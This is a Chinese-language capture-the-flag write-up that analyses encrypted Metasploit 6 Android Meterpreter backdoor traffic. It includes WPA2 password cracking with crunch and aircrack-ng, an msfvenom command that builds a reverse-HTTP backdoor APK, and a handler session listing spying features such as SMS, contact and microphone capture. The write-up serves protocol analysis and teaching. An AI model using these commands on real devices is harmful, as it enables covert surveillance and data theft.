后门加密通信分析:ByteCTF 2020 Final MSF6 android/meterpreter_reverse_http

后门通信分析,比较容易的是Metasploit是开源的,故可以直接分析其后门工具meterpreter,以及对端的后门程序的源码。发现新版MSF6中的meterpreter与后门程序通信是使用了RSA和AES,即后门程序使用攻击者发过来的RSA公钥对之后通信的AES秘钥进行加密,此AES秘钥由后门程序随机生成,所以正常情况下应该是无法解密其双方通信的。但题目中公钥给了个可以被分解的素数,导致通信可被破译。另外对于密码算法的操作非常陌生,解题过程中感谢楚涵gml的帮助。

附件:kop.pcap

  • Hint for KOP: android/meterpreter_reverse_http
  • Hint for KOP: Something is weak

爆破WIFI密码

802.11数据包,ssid提示密码:ByteCTF\d{8},分析有握手包,故首先用crunch生成密码字典,然后用aircrack-ng爆破密码:

  crunch 15 15 -t ByteCTF%%%%%%%% > pass.txt
  aircrack-ng -w ./pass.txt kop.pcap
Reading packets, please wait...
Opening kop.pcap
Read 5300 packets.

   #  BSSID              ESSID                     Encryption

   1  5A:BA:B7:D7:6D:76  ByteCTF\d{8}              WPA (1 handshake)
   2  60:3A:7C:BF:6B:41  1701D                     Unknown

Index number of target network ? 1

                               Aircrack-ng 1.6 

      [00:36:41] 20197552/100000000 keys tested (9081.62 k/s) 

      Time left: 2 hours, 26 minutes, 27 seconds                20.20%

                        KEY FOUND! [ ByteCTF20201212 ]


      Master Key     : 5F F0 19 03 62 60 8D C6 C3 08 67 4C 63 59 E0 D0 
                       6B 12 BB 87 DD 16 51 7F 53 2B 7C 42 6E C2 51 2E 

      Transient Key  : C3 D1 6B E3 AE D3 C9 83 79 31 1B EC FD 6F 65 2F 
                       9F 99 FC 8C 64 0F B1 16 AA CE B5 FD 9A 1B E8 B2 
                       84 39 4E 68 DC A9 5F E2 C0 C5 DC 56 49 C2 7F 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

      EAPOL HMAC     : 87 5E 92 BC 2F 91 CC C3 AE 71 28 A2 33 9C FA C6 

爆破了半个多小时,结果:ByteCTF20201212,然后将ByteCTF20201212:ByteCTF\d{8}给wireshark设置好,即可让wireshark解密所有与此AP通信的流量:

image

如果不明白WPA2破解原理,可以参考:

后门实践

因为给了hint,所以能知道了是msf的后门流量,其实从流量里应该也能看到,发现有无线adb的install流量,应该提取出apk也能估计出的个大概。所以自己生成了一个apk玩了一下:

  msfvenom -p android/meterpreter_reverse_http  LHOST=192.168.43.71 LPORT=6666 -o msf.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder specified, outputting raw payload
Payload size: 76563 bytes
Saved as: msf.apk
  adb install msf.apk
Success

发现玩法还挺多:

  msfconsole 
       =[ metasploit v5.0.93-dev-d048179ff815be5f9f86712a1cf932e51a6d1911]
+ -- --=[ 2030 exploits - 1102 auxiliary - 343 post       ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload android/meterpreter_reverse_http
payload => android/meterpreter_reverse_http
msf5 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf5 exploit(multi/handler) > set LPORT 6666
LPORT => 6666
msf5 exploit(multi/handler) > run
msf5 exploit(multi/handler) > run

[*] Started HTTP reverse handler on http://0.0.0.0:6666
[*] http://0.0.0.0:6666 handling request from 192.168.43.1; (UUID: ayq5vs1f) Attaching orphaned/stageless session
[*] Meterpreter session 1 opened (192.168.43.71:6666 -> 192.168.43.1:53950) at 2020-12-16 03:43:17 +0800

meterpreter > help

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bg                        Alias for background
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                     Closes a channel
    detach                    Detach the meterpreter session (for http/https)
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    get_timeouts              Get the current session timeout values
    guid                      Get the session GUID
    help                      Help menu
    info                      Displays information about a Post module
    irb                       Open an interactive Ruby shell on the current session
    load                      Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    pry                       Open the Pry debugger on the current session
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    secure                    (Re)Negotiate TLV packet encryption on the session
    sessions                  Quickly switch to another session
    set_timeouts              Set the current session timeout values
    sleep                     Force Meterpreter to go quiet, then re-establish session.
    transport                 Change the current transport mechanism
    use                       Deprecated alias for "load"
    uuid                      Get the UUID for the current session
    write                     Writes data to a channel


Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    checksum      Retrieve the checksum of a file
    cp            Copy source to destination
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lls           List local files
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    upload        Upload a file or directory


Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    portfwd       Forward a local port to a remote service
    route         View and modify the routing table


Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    execute       Execute a command
    getuid        Get the user that the server is running as
    localtime     Displays the target system's local date and time
    pgrep         Filter processes by name
    ps            List running processes
    shell         Drop into a system command shell
    sysinfo       Gets information about the remote system, such as OS


Stdapi: User interface Commands
===============================

    Command       Description
    -------       -----------
    screenshare   Watch the remote user's desktop in real time
    screenshot    Grab a screenshot of the interactive desktop


Stdapi: Webcam Commands
=======================

    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam


Stdapi: Audio Output Commands
=============================

    Command       Description
    -------       -----------
    play          play a waveform audio file (.wav) on the target system


Android Commands
================

    Command           Description
    -------           -----------
    activity_start    Start an Android activity from a Uri string
    check_root        Check if device is rooted
    dump_calllog      Get call log
    dump_contacts     Get contacts list
    dump_sms          Get sms messages
    geolocate         Get current lat-long using geolocation
    hide_app_icon     Hide the app icon from the launcher
    interval_collect  Manage interval collection capabilities
    send_sms          Sends SMS from target session
    set_audio_mode    Set Ringer Mode
    sqlite_query      Query a SQLite database from storage
    wakelock          Enable/Disable Wakelock
    wlan_geolocate    Get current lat-long using WLAN information


Application Controller Commands
===============================

    Command        Description
    -------        -----------
    app_install    Request to install apk file
    app_list       List installed apps in the device
    app_run        Start Main Activty for package name
    app_uninstall  Request to uninstall application

流量分析

跟踪tcp流定位到流37是整个后门通信的流量,也都是http流量,简单分析流程大概如下:

  • 手机上的后门APK轮询给攻击机6666端口发GET的HTTP请求保活
  • 攻击机的指令在200OK中返回给手机APK
  • 手机后门APK的相应通过POST正文给攻击机

故重要的报文是200OK的返回报文和POST报文,报文是二进制串,找到之前的分析:

发现他们说的流量与给的附件里的流量,是有差异的:

  1. 第一篇是2015年的,流量里含有RECV特征串,但是题目流量没有
  2. 第二篇是2016年的,说流量与随机数异或了,但是具体怎么异或的没说,提到了TLV协议
  3. 第三篇是2016年的,搜TLV+MSF搜出来的,明确了前四个字节为异或秘钥,RECV特征串看不到了
  4. 第四篇是2020年的,说MSF6的Meterpreter通信用AES加密了
  5. 第五篇是2020年的,就是前两天的,但是分析的流量已经解到java层的字节码了

找到TLV的定义:维基百科:Type-length-value(拼音打这个协议是秃驴

简单看一下第一个回包:

00000000  48 54 54 50 2f 31 2e 31  20 32 30 30 20 4f 4b 0d   HTTP/1.1  200 OK.
00000010  0a 43 6f 6e 74 65 6e 74  2d 54 79 70 65 3a 20 61   .Content -Type: a
00000020  70 70 6c 69 63 61 74 69  6f 6e 2f 6f 63 74 65 74   pplicati on/octet
00000030  2d 73 74 72 65 61 6d 0d  0a 43 6f 6e 6e 65 63 74   -stream. .Connect
00000040  69 6f 6e 3a 20 4b 65 65  70 2d 41 6c 69 76 65 0d   ion: Kee p-Alive.
00000050  0a 53 65 72 76 65 72 3a  20 41 70 61 63 68 65 0d   .Server:  Apache.
00000060  0a 43 6f 6e 74 65 6e 74  2d 4c 65 6e 67 74 68 3a   .Content -Length:
00000070  20 33 38 37 0d 0a 0d 0a  a6 a7 1f ed a6 a7 1f ed    387.... ........
00000080  a6 a7 1f ed a6 a7 1f ed  a6 a7 1f ed a6 a7 1f ed   ........ ........
00000090  a6 a7 1e 86 a6 a7 1f ed  a6 a7 1f e1 a6 a5 1f ec   ........ ........
000000A0  a6 a7 1f fd a6 a7 1f c4  a6 a6 1f ef 96 95 2f df   ........ ....../.
000000B0  90 92 26 d4 9e 96 2a db  9e 94 29 d8 91 94 27 dc   ..&...*. ..)...'.
000000C0  9f 95 2d df 9e 93 2f dd  94 91 2b da a6 a7 1f ec   ..-.../. ..+.....

看起来真有可能是异或,根据前4个字节:a6 a7 1f ed就是异或的秘钥。用这种方法解密我自己的msf流量,直接就能解密出全部流量,但是题目流量还是看不出东西来。后来发现我自己的msf版本不是最新版,对比新版msf源码和我自己生成apk发现函数对不上,故题目意图已然清晰明了:分析最新版msf6的android/meterpreter_reverse_http后门流量

源码分析

metasploit是开源的,后门代码在metasploit-payloads里的java目录下,直接在源码中搜xor,找到关键代码:

java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Transport.java

 protected TLVPacket readAndDecodePacket(DataInputStream in) throws IOException {
        byte[] header = new byte[32];
        in.readFully(header);
        byte[] clonedHeader = header.clone();

        byte[] xorKey = new byte[4];
        this.arrayCopy(header, 0, xorKey, 0, 4);

        // XOR the whole header first
        this.xorBytes(xorKey, header);

        // extract the length
        int bodyLen = this.readInt(header, 24) - 8;

        byte[] body = new byte[bodyLen];
        in.readFully(body);

        // create a complete packet and xor the whole thing. We do this becauase we can't
        // be sure that the content of the body is 4-byte aligned with the xor key, so we
        // do the whole lot to make sure it behaves
        byte[] packet = new byte[clonedHeader.length + body.length];
        this.arrayCopy(clonedHeader, 0, packet, 0, clonedHeader.length);
        this.arrayCopy(body, 0, packet, clonedHeader.length, body.length);
        this.xorBytes(xorKey, packet);

        this.arrayCopy(packet, 32, body, 0, body.length);
        int encFlag = this.readInt(packet, 20);
        if (encFlag != ENC_NONE && this.aesKey != null) {
            try
            {
                body = aesDecrypt(body);
            }
            catch(Exception e)
            {
                // if things go back we're basically screwed.
                return null;
            }
        }

        ByteArrayInputStream byteStream = new ByteArrayInputStream(body, 0, body.length);
        DataInputStream inputStream = new DataInputStream(byteStream);
        TLVPacket tlvPacket = new TLVPacket(inputStream, body.length);
        inputStream.close();

        return tlvPacket;
    }

发现这里XOR之后正文还是需要AES加解密的:

    protected byte[] aesDecrypt(byte[] data) throws Exception {
        byte[] iv = new byte[16];
        byte[] encrypted = new byte[data.length - iv.length];
        this.arrayCopy(data, 0, iv, 0, iv.length);
        this.arrayCopy(data, iv.length, encrypted, 0, encrypted.length);

        IvParameterSpec ivSpec = new IvParameterSpec(iv);
        SecretKeySpec keySpec = new SecretKeySpec(this.aesKey, "AES");
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        synchronized(cipher) {
          cipher.init(Cipher.DECRYPT_MODE, keySpec, ivSpec);
          return cipher.doFinal(encrypted);
        }
    }

搜索设置aeskey的方法:

    public void setAesEncryptionKey(byte[] aesKey) {
        this.aesKey = aesKey;
        this.aesEnabled = false;
    }

收到调用这个设置aeskey的方法的位置:

java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_negotiate_tlv_encryption.java

public class core_negotiate_tlv_encryption implements Command {

    private static final SecureRandom sr = new SecureRandom();

    public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
        byte[] der = request.getRawValue(TLVType.TLV_TYPE_RSA_PUB_KEY);
        int encType;
        byte[] aesKey;
        if (Cipher.getMaxAllowedKeyLength("AES") < 256) {
            encType = Transport.ENC_AES128;
            aesKey = new byte[16];
        } else {
            encType = Transport.ENC_AES256;
            aesKey = new byte[32];
        }
        sr.nextBytes(aesKey);
        try
        {
            PublicKey pubKey = getPublicKey(der);
            Cipher cipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
            cipher.init(Cipher.ENCRYPT_MODE, pubKey);
            response.add(TLVType.TLV_TYPE_ENC_SYM_KEY, cipher.doFinal(aesKey));
        }
        catch(Exception e)
        {
            response.add(TLVType.TLV_TYPE_SYM_KEY, aesKey);
        }
        response.add(TLVType.TLV_TYPE_SYM_KEY_TYPE, encType);

        meterpreter.getTransports().current().setAesEncryptionKey(aesKey);

        return ERROR_SUCCESS;
    }

    private PublicKey getPublicKey(byte[] der) {
        try
        {
            X509EncodedKeySpec spec = new X509EncodedKeySpec(der);
            return KeyFactory.getInstance("RSA").generatePublic(spec);
        }
        catch(Exception e)
        {
            return null;
        }
    }
}

发现这里是随机生成的AES秘钥,然后通过接收到的公钥使用RSA把AES的秘钥发出去,搜到TLVType类型参数定义:

java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVType.java

    // TLV Encryption
    public static final int TLV_TYPE_RSA_PUB_KEY  = TLVPacket.TLV_META_TYPE_RAW    | 550;
    public static final int TLV_TYPE_SYM_KEY_TYPE = TLVPacket.TLV_META_TYPE_UINT   | 551;
    public static final int TLV_TYPE_SYM_KEY      = TLVPacket.TLV_META_TYPE_RAW    | 552;
    public static final int TLV_TYPE_ENC_SYM_KEY  = TLVPacket.TLV_META_TYPE_RAW    | 553;

搜到TLV_META_TYPE_RAW的类型参数定义:

java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVPacket.java

public class TLVPacket {

    // constants
    public static final int TLV_META_TYPE_UINT = (1 << 17);
    public static final int TLV_META_TYPE_RAW = (1 << 18);

至此已经基本明白这个流量中的数据是怎么组织的了,也就是TLVPacket

协议流程

报文的前4个字节为随机key,负责异或全文,异或完成之后是被AES加密的TLV格式报文。AES秘钥由后门APK侧随机生成,并用攻击者侧发过来的公钥进行加密后发送给攻击者。

故协议流程为:

  1. 后门APK给攻击者侧发GET请求包
  2. 攻击者侧给APK侧回RSA公钥
  3. APK侧给攻击者侧发RSA公钥加密后的AES秘钥
  4. 之后双方采用AES加密通信
  5. XOR异或发生在每次报文的最后一层

解题

故按协议流程来说,这流量没法解,RSA的公私钥应该是攻击者侧生成的,那肯定白扯了,但是第二个hint说Something is weak,也许是RSA的大数不安全?解完发现还真是,所以这题现实意义不大,意义只在于了解新版MSFandroid/meterpreter_reverse_http的协议分析。

物料

RSA公钥流量

00000000  48 54 54 50 2f 31 2e 31  20 32 30 30 20 4f 4b 0d   HTTP/1.1  200 OK.
00000010  0a 43 6f 6e 74 65 6e 74  2d 54 79 70 65 3a 20 61   .Content -Type: a
00000020  70 70 6c 69 63 61 74 69  6f 6e 2f 6f 63 74 65 74   pplicati on/octet
00000030  2d 73 74 72 65 61 6d 0d  0a 43 6f 6e 6e 65 63 74   -stream. .Connect
00000040  69 6f 6e 3a 20 4b 65 65  70 2d 41 6c 69 76 65 0d   ion: Kee p-Alive.
00000050  0a 53 65 72 76 65 72 3a  20 41 70 61 63 68 65 0d   .Server:  Apache.
00000060  0a 43 6f 6e 74 65 6e 74  2d 4c 65 6e 67 74 68 3a   .Content -Length:
00000070  20 33 38 37 0d 0a 0d 0a  a6 a7 1f ed a6 a7 1f ed    387.... ........
00000080  a6 a7 1f ed a6 a7 1f ed  a6 a7 1f ed a6 a7 1f ed   ........ ........
00000090  a6 a7 1e 86 a6 a7 1f ed  a6 a7 1f e1 a6 a5 1f ec   ........ ........
000000A0  a6 a7 1f fd a6 a7 1f c4  a6 a6 1f ef 96 95 2f df   ........ ....../.
000000B0  90 92 26 d4 9e 96 2a db  9e 94 29 d8 91 94 27 dc   ..&...*. ..)...'.
000000C0  9f 95 2d df 9e 93 2f dd  94 91 2b da a6 a7 1f ec   ..-.../. ..+.....
000000D0  88 a7 1b ef 80 97 9d ec  84 97 12 eb af 8d 99 a5   ........ ........
000000E0  20 50 12 ec a7 a6 1a ed  a5 25 1e e2 a6 97 9d ec    P...... .%......
000000F0  ac a5 9d ec a7 a7 8a 90  ec 4a 56 3d da 8a 0d b2   ........ .JV=....
00000100  93 5a f0 65 bc 0a 3c 72  64 46 78 8d b0 15 3b 77   .Z.e..<r dFx...;w
00000110  0e b4 5c 8c 5c 43 53 ff  2f 6c b5 df 03 5d 95 62   ..\.\CS. /l...].b
00000120  2f 5f 98 f9 66 37 08 0f  00 a8 79 b3 82 dd f2 3e   /_..f7.. ..y....>
00000130  1e 2b 30 65 5b 86 44 fb  c6 d3 dc 49 ee eb f1 bd   .+0e[.D. ...I....
00000140  78 a6 58 26 aa c7 d0 7b  5b 8f 97 29 2d b8 74 cd   x.X&...{ [..)-.t.
00000150  1b 9f 12 0f a9 79 8f 09  0d 3b d5 0b 1d 46 5e b8   .....y.. .;...F^.
00000160  01 da 98 69 de 20 32 50  4e 02 5c 37 07 04 b2 a9   ...i. 2P N.\7....
00000170  74 6c 88 56 84 c0 1b 91  b8 43 98 32 92 61 d2 8c   tl.V.... .C.2.a..
00000180  ee 21 62 59 36 ff a6 c7  d7 7d 5d 74 5e 33 48 bf   .!bY6... .}]t^3H.
00000190  6f fe 31 a1 88 d4 9e ca  9e 78 05 c2 31 63 f9 36   o.1..... .x..1c.6
000001A0  2a 17 a5 dc 6c 0a be ac  b7 20 ff 58 7c e8 63 19   *...l... . .X|.c.
000001B0  ec 14 92 b5 16 c9 2e e6  e0 00 48 b1 b2 ca dd 6c   ........ ..H....l
000001C0  74 1b c0 bb 40 b9 f5 7b  8e 37 6c 04 6c 67 ec 3b   t...@..{ .7l.lg.;
000001D0  08 d4 77 47 9e d1 bd d0  9f 19 9d 85 aa dd 26 3d   ..wG.... ......&=
000001E0  6e d7 84 9c 5d 69 7e e1  b9 31 54 76 d7 49 48 af   n...]i~. .1Tv.IH.
000001F0  3e ee fe 05 4f 28 1d ee  a7 a7 1e                  >...O(.. ...

AES秘钥流量

000001A1  50 4f 53 54 20 2f 49 77  6f 30 30 67 75 6c 4c 65   POST /Iw o00gulLe
000001B1  77 4e 4e 67 34 6c 55 76  37 31 42 41 75 34 71 76   wNNg4lUv 71BAu4qv
000001C1  54 5a 49 69 4d 72 43 39  79 67 55 57 51 4c 4c 67   TZIiMrC9 ygUWQLLg
000001D1  61 55 76 31 6f 53 30 41  73 50 52 7a 46 6d 6b 4e   aUv1oS0A sPRzFmkN
000001E1  6b 46 4c 48 64 68 6e 67  6a 70 49 2d 78 4d 2d 62   kFLHdhng jpI-xM-b
000001F1  4a 6d 44 6a 4c 2d 4b 32  4a 39 56 65 49 69 74 77   JmDjL-K2 J9VeIitw
00000201  48 52 45 54 64 47 76 32  47 34 2d 62 47 76 6b 4e   HRETdGv2 G4-bGvkN
00000211  36 68 6f 31 39 5a 34 6c  66 6e 64 79 33 58 5a 53   6ho19Z4l fndy3XZS
00000221  70 42 34 50 48 79 2d 6a  32 42 4c 30 4b 2d 6b 36   pB4PHy-j 2BL0K-k6
00000231  61 6d 71 41 68 61 4e 43  67 44 36 35 76 66 6c 58   amqAhaNC gD65vflX
00000241  37 78 56 64 64 68 37 51  49 33 63 4c 4e 4d 6a 45   7xVddh7Q I3cLNMjE
00000251  73 6f 55 6f 57 78 78 62  64 55 71 63 53 6e 4e 34   soUoWxxb dUqcSnN4
00000261  38 72 58 6d 61 76 46 58  72 56 33 55 2d 38 46 67   8rXmavFX rV3U-8Fg
00000271  51 74 41 56 6e 31 4e 4b  38 75 35 78 68 69 67 4d   QtAVn1NK 8u5xhigM
00000281  56 45 6d 62 66 56 39 54  67 7a 49 41 4d 64 52 33   VEmbfV9T gzIAMdR3
00000291  31 36 4d 33 4e 38 52 69  4a 61 2f 20 48 54 54 50   16M3N8Ri Ja/ HTTP
000002A1  2f 31 2e 31 0d 0a 43 6f  6e 74 65 6e 74 2d 54 79   /1.1..Co ntent-Ty
000002B1  70 65 3a 20 61 70 70 6c  69 63 61 74 69 6f 6e 2f   pe: appl ication/
000002C1  78 2d 77 77 77 2d 66 6f  72 6d 2d 75 72 6c 65 6e   x-www-fo rm-urlen
000002D1  63 6f 64 65 64 0d 0a 55  73 65 72 2d 41 67 65 6e   coded..U ser-Agen
000002E1  74 3a 20 44 61 6c 76 69  6b 2f 32 2e 31 2e 30 20   t: Dalvi k/2.1.0 
000002F1  28 4c 69 6e 75 78 3b 20  55 3b 20 41 6e 64 72 6f   (Linux;  U; Andro
00000301  69 64 20 38 2e 31 2e 30  3b 20 50 69 78 65 6c 20   id 8.1.0 ; Pixel 
00000311  32 20 42 75 69 6c 64 2f  4f 50 4d 31 2e 31 37 31   2 Build/ OPM1.171
00000321  30 31 39 2e 30 31 31 29  0d 0a 48 6f 73 74 3a 20   019.011) ..Host: 
00000331  31 39 32 2e 31 36 38 2e  32 2e 31 3a 36 36 36 36   192.168. 2.1:6666
00000341  0d 0a 43 6f 6e 6e 65 63  74 69 6f 6e 3a 20 4b 65   ..Connec tion: Ke
00000351  65 70 2d 41 6c 69 76 65  0d 0a 41 63 63 65 70 74   ep-Alive ..Accept
00000361  2d 45 6e 63 6f 64 69 6e  67 3a 20 67 7a 69 70 0d   -Encodin g: gzip.
00000371  0a 43 6f 6e 74 65 6e 74  2d 4c 65 6e 67 74 68 3a   .Content -Length:
00000381  20 33 37 33 0d 0a 0d 0a  3a 7b e6 af 3a 7b e6 af    373.... :{..:{..
00000391  3a 7b e6 af 3a 7b e6 af  3a 7b e6 af 3a 7b e6 af   :{..:{.. :{..:{..
000003A1  3a 7b e7 f2 3a 7b e6 ae  3a 7b e6 a3 3a 79 e6 ae   :{..:{.. :{..:y..
000003B1  3a 7b e6 bf 3a 7b e6 86  3a 7a e6 ad 0a 49 d6 9d   :{..:{.. :z...I..
000003C1  0c 4e df 96 02 4a d3 99  02 48 d0 9a 0d 48 de 9e   .N...J.. .H...H..
000003D1  03 49 d4 9d 02 4f d6 9f  08 4d d2 98 3a 7b e6 ae   .I...O.. .M..:{..
000003E1  32 7b e2 ad 13 f8 4c 14  f9 f7 a0 fa 3b 73 51 36   2{....L. ....;sQ6
000003F1  9b 73 12 a3 ef 2f e3 db  a4 ef c9 33 fc 82 2b 9e   .s.../.. ...3..+.
00000401  d8 95 cc 41 cd aa e8 8a  bb 46 f2 56 c3 4e 39 47   ...A.... .F.V.N9G
00000411  8f e1 3e 2b 67 89 9c 74  23 48 39 f2 43 1d 62 af   ..>+g..t #H9.C.b.
00000421  a4 b4 90 fe da 3e ea b7  83 66 32 ef e8 33 20 b3   .....>.. .f2..3 .
00000431  c2 f8 0f 9d de c9 ef 56  22 fb 22 6a ef 35 22 3b   .......V "."j.5";
00000441  be 38 fa 8f 29 78 29 d5  7d a4 2d 1f d2 79 08 33   .8..)x). }.-..y.3
00000451  63 d4 fa 43 d2 57 94 10  65 ec bf 9f c4 a2 41 e9   c..C.W.. e.....A.
00000461  63 06 98 2e 4b 73 42 d0  bf 21 51 a4 f7 8e 9b f2   c...KsB. .!Q.....
00000471  91 ef d5 53 e6 21 04 04  d7 f1 9f 71 b6 59 1e d0   ...S.!.. ...q.Y..
00000481  c9 66 b9 b4 24 bd 45 73  9c a2 65 57 87 b3 10 1f   .f..$.Es ..eW....
00000491  c0 f2 a0 c9 df 2c 6e 18  7e 9d c5 82 b6 f3 b1 38   .....,n. ~......8
000004A1  d9 68 96 40 15 24 a7 50  2b ad 61 9b 41 1c 36 d8   .h.@.$.P +.a.A.6.
000004B1  23 2a 99 12 bd f8 ee 2c  bf f9 16 5a a8 86 e6 4a   #*....., ...Z...J
000004C1  f7 d2 b5 47 e4 e5 74 49  43 54 da fe af 1e 18 94   ...G..tI CT......
000004D1  c4 f2 a4 33 dc 24 ff d1  34 1d 7e c1 97 3b 57 df   ...3.$.. 4.~..;W.
000004E1  15 ec 53 84 ca 7b e6 af  36 7b e4 ad 1d 7b e6 af   ..S..{.. 6{...{..
000004F1  3b 7b e6 af 36 7b e4 af  3e 7b e6 af 3a            ;{..6{.. >{..:

AES加密流量

00000271  48 54 54 50 2f 31 2e 31  20 32 30 30 20 4f 4b 0d   HTTP/1.1  200 OK.
00000281  0a 43 6f 6e 74 65 6e 74  2d 54 79 70 65 3a 20 61   .Content -Type: a
00000291  70 70 6c 69 63 61 74 69  6f 6e 2f 6f 63 74 65 74   pplicati on/octet
000002A1  2d 73 74 72 65 61 6d 0d  0a 43 6f 6e 6e 65 63 74   -stream. .Connect
000002B1  69 6f 6e 3a 20 4b 65 65  70 2d 41 6c 69 76 65 0d   ion: Kee p-Alive.
000002C1  0a 53 65 72 76 65 72 3a  20 41 70 61 63 68 65 0d   .Server:  Apache.
000002D1  0a 43 6f 6e 74 65 6e 74  2d 4c 65 6e 67 74 68 3a   .Content -Length:
000002E1  20 31 31 32 0d 0a 0d 0a  92 f3 76 fa 92 f3 76 fa    112.... ..v...v.
000002F1  92 f3 76 fa 92 f3 76 fa  92 f3 76 fa 92 f3 76 fb   ..v...v. ..v...v.
00000301  92 f3 76 a2 92 f3 76 fa  42 55 2a 9a 7d 23 50 47   ..v...v. BU*.}#PG
00000311  7b 95 16 42 32 f9 54 a3  d8 d2 b8 77 a4 65 52 ca   {..B2.T. ...w.eR.
00000321  be 89 12 42 c9 8c c5 55  81 41 93 67 f8 0d 08 73   ...B...U .A.g...s
00000331  eb 1b b5 40 4e 4a 24 05  69 67 10 18 63 6f de e8   ...@NJ$. ig..co..
00000341  0b fd 60 2b 16 2b 66 14  e0 02 6c 43 7b 8e 16 1e   ..`+.+f. ..lC{...
00000351  2a 43 02 07 e8 ed 6d ab                            *C....m. 

解出公钥与大数分解

异或解密第一个发送公钥的数据包:

pub = "a6a71feda6a71feda6a71feda6a71feda6a71feda6a71feda6a71e86a6a71feda6a71fe1a6a51feca6a71ffda6a71fc4a6a61fef96952fdf909226d49e962adb9e9429d8919427dc9f952ddf9e932fdd94912bdaa6a71fec88a71bef80979dec849712ebaf8d99a5205012eca7a61aeda5251ee2a6979decaca59deca7a78a90ec4a563dda8a0db2935af065bc0a3c726446788db0153b770eb45c8c5c4353ff2f6cb5df035d95622f5f98f96637080f00a879b382ddf23e1e2b30655b8644fbc6d3dc49eeebf1bd78a65826aac7d07b5b8f97292db874cd1b9f120fa9798f090d3bd50b1d465eb801da9869de2032504e025c370704b2a9746c885684c01b91b84398329261d28cee21625936ffa6c7d77d5d745e3348bf6ffe31a188d49eca9e7805c23163f9362a17a5dc6c0abeacb720ff587ce86319ec1492b516c92ee6e00048b1b2cadd6c741bc0bb40b9f57b8e376c046c67ec3b08d477479ed1bdd09f199d85aadd263d6ed7849c5d697ee1b9315476d74948af3eeefe054f281deea7a71e"

def de(a):
    b = a.decode("hex")
    key = [ord(b[0]),ord(b[1]),ord(b[2]),ord(b[3])]
    c = ""
    for i in range(len(b)):
        c += chr( ord(b[i]) ^ (key[i%4]))
    print c
de(pub)

观察整个数据包:

  python exp.py | hexyl 
┌────────┬─────────────────────────┬─────────────────────────┬────────┬────────┐
00000000 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 0000000000000000
00000010 00 00 00 00 00 00 00 00  00 00 01 6b 00 00 00 00 0000000000k0000
00000020 00 00 00 0c 00 02 00 01  00 00 00 10 00 00 00 29 000_00•┊000000)
00000030 00 01 00 02 30 32 30 32  36 35 39 39 38 31 35 36 00020265998156
00000040 38 33 36 35 37 33 38 31  39 32 32 32 38 34 30 30 8365738192228400
00000050 32 36 34 37 00 00 00 01  2e 00 04 02 26 30 82 01 2647000•┊.0••&0ו│
00000060 22 30 0d 06 09 2a 86 48  86 f7 0d 01 01 01 05 00 "0_•_*×H┊××_••••0│
│00000070│ 03 82 01 0f 00 30 82 01 ┊ 0a 02 82 01 01 00 95 7d │•×••00ו┊_•×••0×}│
│00000080│ 4a ed 49 d0 7c 2d 12 5f ┊ 35 fd ef 88 1a ad 23 9f │J×I×|-•_┊5××ו×#×│
│00000090│ c2 e1 67 60 16 b2 24 9a ┊ a8 13 43 61 fa e4 4c 12 │××g`•×$×┊וCa××L•│
│000000a0│ 89 cb aa 32 a5 fa 8a 8f ┊ 89 f8 87 14 c0 90 17 e2 │×××2××××┊××ו×ו×│
│000000b0│ a6 0f 66 5e 24 7a ed d3 ┊ b8 8c 2f 88 fd 21 5b 16 │וf^$z××┊××/××![•│
│000000c0│ 60 74 c3 a4 48 4c ee 50 ┊ de 01 47 cb 0c 60 cf 96 │`t××HL×P┊וG×_`××│
│000000d0│ fd 28 88 c4 8b 1f 6b 20 ┊ bd 38 0d e2 0f de 90 e4 │×(××וk ┊×8_ו×××│
│000000e0│ ab 9c ca e6 bb e1 41 55 ┊ a7 7d 87 84 78 87 2d bd │××××××AU┊×}××x×-×│
│000000f0│ e8 a5 43 da a1 a3 ad 44 ┊ d2 cb 97 bb 22 67 04 7c │××C××××D┊××××"g|
00000100 1e e4 87 df 34 c6 cd 61  48 86 7d b4 90 58 b9 2a │•×××4××aH×}××X×*
00000110 71 da 42 99 f8 94 57 52  c9 59 2e 4c 2e 73 81 27 q×B×××WR┊×Y.L.s×'│
│00000120│ 38 df 1a 2f 97 c4 e6 db ┊ 8c b0 ba 31 ca ad a1 41 │8ו/××××┊×××1×××A│
│00000130│ 11 87 e0 b5 da 4f 7c f4 ┊ 4a b3 8d 58 b0 6e 31 0b │•××××O|×┊J××X×n1•│
